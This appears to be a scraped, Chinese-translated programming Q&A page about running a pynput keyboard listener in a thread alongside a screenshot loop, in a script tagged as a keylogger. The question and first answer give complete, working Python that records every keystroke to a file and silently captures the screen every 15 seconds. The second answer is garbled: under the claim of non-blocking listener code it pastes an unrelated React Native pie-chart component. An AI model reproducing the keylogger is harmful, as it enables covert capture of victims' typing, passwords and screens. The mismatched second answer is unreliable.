如何使pynput.keyboard作为线程运行?

时间:2019-04-27 12:29:45

标签: python multithreading keylogger

嘿,我编写了一个脚本来使用Pynput捕获击键,直到我想在捕获击键(线程)时每15秒拍摄一次屏幕截图。

我阅读了有关pynput.keyboard的文档,并看到一个键盘侦听器是一个threading.Thread,但是我无法做到这一点,我认为我设法创建了两个线程,但是没有进入'getKey'函数我不知道为什么。

from PIL import ImageGrab
import time 
from pynput.keyboard import Key, Listener
from pynput import keyboard
import logging
import os 
import threading


def main():
    listener = keyboard.Listener(onpress=getKey)
    listener.start()
    thread2 = threading.Thread(target=takeScreenshot, args=())
    thread2.start()
    thread2.join()


def getKey(key):
    print(key)
    key = fixKey(key)
    file = open('log.txt', 'a')
    file.write(key.replace('\'', '') + '')
    file.close()

def fixKey(key):
    key = str(key)
    if key == 'Key.space':
        return ' '
    elif key == 'Key.enter':
        return '\n'
    return key

def takeScreenshot():
    time.sleep(15)
    image = ImageGrab.grab()
    now = time.strftime("%d-%m-%Y" + ' ' + "%H-%M-%S")
    image.save(now + '.png')

main()

正如我所解释的,它甚至不会创建文件“ log.txt”,仅在15秒后进行一次快照。 谢谢!

2 个答案:

答案 0 :(得分:1)

这是使用来自官方docs的列表器的正确方法

如果您需要每15秒捕获一次屏幕截图,则应运行带有while循环的线程以连续在后台运行

代码如下:

from PIL import ImageGrab
import time 
from pynput.keyboard import Key, Listener
from pynput import keyboard
import logging
import os 
import threading


def main():
    thread2 = threading.Thread(target=takeScreenshot, args=())
    thread2.start()

    with Listener(on_press=getKey) as listener:
        listener.join()


def getKey(key):
    print(key)
    key = fixKey(key)
    file = open('log.txt', 'a')
    file.write(key.replace('\'', '') + '')
    file.close()

def fixKey(key):
    key = str(key)
    if key == 'Key.space':
        return ' '
    elif key == 'Key.enter':
        return '\n'
    return key

def takeScreenshot():
    # run contineous and take screenshot every 15 seconds
    while True:
        print('taking screenshot')
        image = ImageGrab.grab()
        now = time.strftime("%d-%m-%Y" + ' ' + "%H-%M-%S")
        image.save(now + '.png')
        time.sleep(15)


main()

答案 1 :(得分:1)

要以非阻塞方式使用它,您应该这样做:

import React, {useEffect} from 'react';
import { StyleSheet, StatusBar, View, Text, AsyncStorage, Button, Dimensions } from 'react-native';
import {useSelector,useDispatch} from 'react-redux';
import {getExp, clearExp} from './../actions/expActions.js';
import _uniqueId from 'lodash/uniqueId';
import { getRecurrExp } from '../actions/recurrExpActions.js';
import { PieChart } from "react-native-chart-kit";

export default function Report() {

  const expR = useSelector(state => state.expR)
  const recurrExpR = useSelector(state => state.recurrExpR)
  const dispatch = useDispatch();
  const screenWidth = Dimensions.get("window").width

  const chartConfig ={
    backgroundColor: "#e26a00",
    backgroundGradientFrom: "#fb8c00",
    backgroundGradientTo: "#ffa726",
    decimalPlaces: 2, // optional, defaults to 2dp
    color: (opacity = 1) => `rgba(255, 255, 255, ${opacity})`,
    labelColor: (opacity = 1) => `rgba(255, 255, 255, ${opacity})`,
    style: {
      borderRadius: 16
    },
    propsForDots: {
      r: "6",
      strokeWidth: "2",
      stroke: "#ffa726"
    }
  }

  var piePieces = [];

  const getAllExps = () => {
    dispatch(getExp())
    dispatch(getRecurrExp())
  }

  useEffect(() => {
    getAllExps()
    expR.catCounts.map(cat => {
        piePieces.push({value: cat.count / expR.cat * 100, name: cat.category, color: cat.category==="cat1" ? '#E38627' : '#C13C37' })
    })
    console.log(piePieces) //Log's a filled array
  },[])

  // Deprecated, saving for 
  const clearAsyncStorage = async() => {
      AsyncStorage.clear()
  }

  const clearExpTest = () => {
    dispatch(clearExp())
  }

  return (
    <View style={styles.main}>
      <View style={styles.container}>
        <StatusBar hidden />
        {
          <PieChart
            data={piePieces}
            width={220}
            height={220}
            chartConfig={chartConfig}
            accessor="value"
            backgroundColor="transparent"
            paddingLeft="15"
            absolute
          />
        }
        {console.log(piePieces)} //Logs []
      </View>
    </View>
  );
}


const styles = StyleSheet.create({
  container: {
    flex: 1,
    flexDirection: 'column',
    justifyContent: 'center',
    backgroundColor: '#ffffe6',
  },
  main: {
    flex: 1,
  }
});

这将创建1个始终在侦听而不会阻塞整个代码的线程(以防您需要执行与键无关的事情),但是这也会导致创建太多线程,因此请确保仅创建它如果还不像这样:

listener = Listener(on_press=on_press, on_release=on_release,suppress=True)
        listener.start()